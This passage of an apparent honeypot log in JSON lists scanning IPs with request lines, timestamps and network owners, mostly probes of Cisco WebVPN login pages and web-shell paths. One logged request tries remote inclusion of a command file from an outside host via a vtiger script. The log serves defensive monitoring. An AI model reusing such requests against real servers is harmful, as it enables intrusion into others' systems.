        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.30": {
      "attack_count": 9,
      "first_seen": "2026-04-13T16:36:42.344Z",
      "last_seen": "2026-04-23T17:23:43.845Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.84.107.17": {
      "attack_count": 9,
      "first_seen": "2026-04-24T09:04:36.088Z",
      "last_seen": "2026-04-24T09:12:20.847Z",
      "ports": [],
      "event_types": [
        "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /dslvl.php?1123 HTTP/1.1\" 404 -",
        "\"GET /sip.txt?ASdwd HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/ml.php?in=http://212.83.160.70/t/cmd.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "123.160.223.75": {
      "attack_count": 7,
      "first_seen": "2026-04-25T00:10:29.758Z",
      "last_seen": "2026-04-28T02:37:40.247Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "166.1.251.75": {
      "attack_count": 7,
      "first_seen": "2026-04-13T08:01:39.282Z",
      "last_seen": "2026-04-13T08:01:52.988Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.162.175": {
      "attack_count": 7,
      "first_seen": "2026-04-13T17:36:30.959Z",
      "last_seen": "2026-04-13T17:36:52.710Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.177.180": {
      "attack_count": 7,
      "first_seen": "2026-04-13T02:31:21.635Z",
      "last_seen": "2026-04-13T02:31:32.696Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.61.214": {
      "attack_count": 7,
      "first_seen": "2026-04-12T01:33:04.894Z",
      "last_seen": "2026-04-12T01:33:17.200Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "176.100.130.54": {
      "attack_count": 7,
      "first_seen": "2026-04-02T23:43:23.590Z",
      "last_seen": "2026-04-02T23:44:03.306Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "37.140.255.103": {
      "attack_count": 7,
      "first_seen": "2026-04-13T01:33:15.828Z",
      "last_seen": "2026-04-13T01:33:41.843Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Elizabeth",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.251.26.106": {
      "attack_count": 6,
      "first_seen": "2026-04-10T12:36:58.292Z",
      "last_seen": "2026-04-23T06:33:59.999Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.251.27.31": {
      "attack_count": 6,
      "first_seen": "2026-04-26T12:33:36.343Z",
      "last_seen": "2026-04-30T03:28:21.218Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "173.249.255.197": {
      "attack_count": 6,
      "first_seen": "2026-04-08T17:18:58.944Z",
      "last_seen": "2026-04-21T13:04:52.892Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.213.193.48": {
      "attack_count": 6,
      "first_seen": "2026-04-18T19:43:23.126Z",
      "last_seen": "2026-04-18T20:00:29.932Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "23.160.24.100": {
      "attack_count": 6,
      "first_seen": "2026-04-10T03:14:05.210Z",
      "last_seen": "2026-04-26T02:14:31.124Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.234.100.227": {
      "attack_count": 6,
      "first_seen": "2026-04-10T12:42:42.899Z",
      "last_seen": "2026-04-29T13:24:17.626Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.175": {
      "attack_count": 6,
      "first_seen": "2026-04-22T09:41:42.330Z",
      "last_seen": "2026-04-27T19:49:26.435Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.175": {
      "attack_count": 6,
      "first_seen": "2026-04-25T02:27:52.499Z",
      "last_seen": "2026-04-25T12:28:54.303Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.157": {
      "attack_count": 6,
      "first_seen": "2026-04-11T04:38:55.126Z",
      "last_seen": "2026-04-24T15:17:05.108Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.45": {
      "attack_count": 6,
      "first_seen": "2026-04-08T12:54:04.899Z",
      "last_seen": "2026-04-26T04:30:56.183Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.159": {
      "attack_count": 6,
      "first_seen": "2026-04-09T00:08:41.436Z",
      "last_seen": "2026-04-27T17:35:54.412Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "66.132.172.44": {
      "attack_count": 6,
      "first_seen": "2026-04-13T10:15:22.836Z",
      "last_seen": "2026-04-13T10:15:40.689Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.186.181": {
      "attack_count": 6,
      "first_seen": "2026-04-27T11:04:42.509Z",
      "last_seen": "2026-04-27T11:05:03.006Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "68.235.46.89": {
      "attack_count": 6,
      "first_seen": "2026-04-16T04:50:45.332Z",
      "last_seen": "2026-04-16T05:04:39.888Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.172.137": {
      "attack_count": 3,
      "first_seen": "2026-04-16T07:16:07.753Z",
      "last_seen": "2026-04-16T07:16:16.214Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.83": {
      "attack_count": 3,
      "first_seen": "2026-04-21T09:11:55.149Z",
      "last_seen": "2026-04-21T09:12:06.533Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.80": {
      "attack_count": 3,
      "first_seen": "2026-04-25T01:29:35.300Z",
      "last_seen": "2026-04-25T01:29:42.284Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "171.25.193.131": {
      "attack_count": 3,
      "first_seen": "2026-04-24T09:17:16.513Z",
      "last_seen": "2026-04-24T09:17:20.024Z",
      "ports": [],
      "event_types": [
        "\"GET /Bo.php? HTTP/1.1\" 404 -",
        "\"GET /x.php? HTTP/1.1\" 404 -",
        "\"GET /xx.php?21231232 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 198093,
      "as_org": "Foreningen for digitala fri- och rattigheter"
    },
    "23.234.68.174": {
      "attack_count": 3,
      "first_seen": "2026-04-18T02:04:40.337Z",
      "last_seen": "2026-04-18T02:04:49.342Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.227": {
      "attack_count": 3,
      "first_seen": "2026-04-25T00:28:40.896Z",
      "last_seen": "2026-04-25T00:28:48.711Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "54.174.222.165": {
      "attack_count": 3,
      "first_seen": "2026-04-02T00:59:06.942Z",
      "last_seen": "2026-04-25T00:58:33.291Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "65.49.1.168": {
      "attack_count": 3,
      "first_seen": "2026-04-07T00:27:03.057Z",
      "last_seen": "2026-04-07T00:29:15.140Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "194.187.178.153": {
      "attack_count": 2,
      "first_seen": "2026-04-04T19:34:58.244Z",
      "last_seen": "2026-04-04T19:35:01.246Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH"
    },
    "209.101.253.238": {
      "attack_count": 2,
      "first_seen": "2026-04-29T10:03:47.274Z",
      "last_seen": "2026-04-29T10:03:47.853Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "3.129.187.38": {
      "attack_count": 2,
      "first_seen": "2026-04-26T12:51:14.152Z",
      "last_seen": "2026-04-26T12:51:17.155Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "35.216.156.249": {
      "attack_count": 2,
      "first_seen": "2026-04-06T20:17:01.625Z",
      "last_seen": "2026-04-06T20:17:04.628Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC"
    },
    "45.156.128.41": {
      "attack_count": 2,
      "first_seen": "2026-04-23T01:15:36.741Z",
      "last_seen": "2026-04-23T01:15:39.745Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "65.49.20.84": {
      "attack_count": 2,
      "first_seen": "2026-04-06T02:51:54.581Z",
      "last_seen": "2026-04-06T02:52:05.421Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.20.92": {
      "attack_count": 2,
      "first_seen": "2026-04-06T02:50:08.613Z",
      "last_seen": "2026-04-06T02:51:48.220Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "71.6.232.22": {
      "attack_count": 2,
      "first_seen": "2026-04-27T19:49:38.582Z",
      "last_seen": "2026-04-27T19:49:41.585Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc."
    },
    "74.0.103.196": {
      "attack_count": 2,
      "first_seen": "2026-04-24T21:11:23.627Z",
      "last_seen": "2026-04-24T21:11:24.154Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "124.160.236.240": {
      "attack_count": 1,
      "first_seen": "2026-04-03T01:52:23.100Z",
      "last_seen": "2026-04-03T01:52:23.100Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "18.215.159.152": {
      "attack_count": 1,
      "first_seen": "2026-04-07T00:56:15.586Z",
      "last_seen": "2026-04-07T00:56:15.586Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "184.105.139.97": {
      "attack_count": 1,
      "first_seen": "2026-04-11T10:06:00.381Z",
      "last_seen": "2026-04-11T10:06:00.381Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "185.220.101.53": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:05:20.152Z",
      "last_seen": "2026-04-24T09:05:20.152Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/ HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "188.68.41.191": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:15:40.694Z",
      "last_seen": "2026-04-24T09:15:40.694Z",
      "ports": [],
      "event_types": [
        "\"GET /elastixConnection/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 197540,
      "as_org": "netcup GmbH"
    },
    "220.197.78.79": {
      "attack_count": 1,
      "first_seen": "2026-04-03T01:53:10.588Z",
      "last_seen": "2026-04-03T01:53:10.588Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": "Guiyang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "64.62.156.208": {
      "attack_count": 1,
      "first_seen": "2026-04-29T02:58:07.004Z",
      "last_seen": "2026-04-29T02:58:07.004Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.74": {
      "attack_count": 1,
      "first_seen": "2026-04-21T10:28:06.642Z",
      "last_seen": "2026-04-21T10:28:06.642Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.115": {
      "attack_count": 1,
      "first_seen": "2026-04-08T07:51:54.741Z",
      "last_seen": "2026-04-08T07:51:54.741Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.224": {
      "attack_count": 1,
      "first_seen": "2026-04-01T00:28:05.808Z",
      "last_seen": "2026-04-01T00:28:05.808Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.226": {
      "attack_count": 1,
      "first_seen": "2026-04-01T00:28:04.510Z",
      "last_seen": "2026-04-01T00:28:04.510Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "85.239.146.38": {
      "attack_count": 1,
      "first_seen": "2026-04-15T08:47:54.136Z",
      "last_seen": "2026-04-15T08:47:54.136Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209896,
      "as_org": "Contrust Solutions S.R.L."
    },
    "91.196.152.13": {
      "attack_count": 1,
      "first_seen": "2026-04-09T03:14:12.656Z",
      "last_seen": "2026-04-09T03:14:12.656Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.144": {
      "attack_count": 1,
      "first_seen": "2026-04-16T03:18:13.183Z",
      "last_seen": "2026-04-16T03:18:13.183Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "45.134.142.203": {
      "attack_count": 57,
      "first_seen": "2026-04-08T21:40:22.527Z",
      "last_seen": "2026-04-28T05:32:03.031Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.128.43.117": {
      "attack_count": 45,
      "first_seen": "2026-04-13T05:05:52.461Z",
      "last_seen": "2026-04-15T07:06:22.063Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.111.43.167": {
      "attack_count": 44,
      "first_seen": "2026-04-12T01:06:45.814Z",
      "last_seen": "2026-04-14T02:28:49.024Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
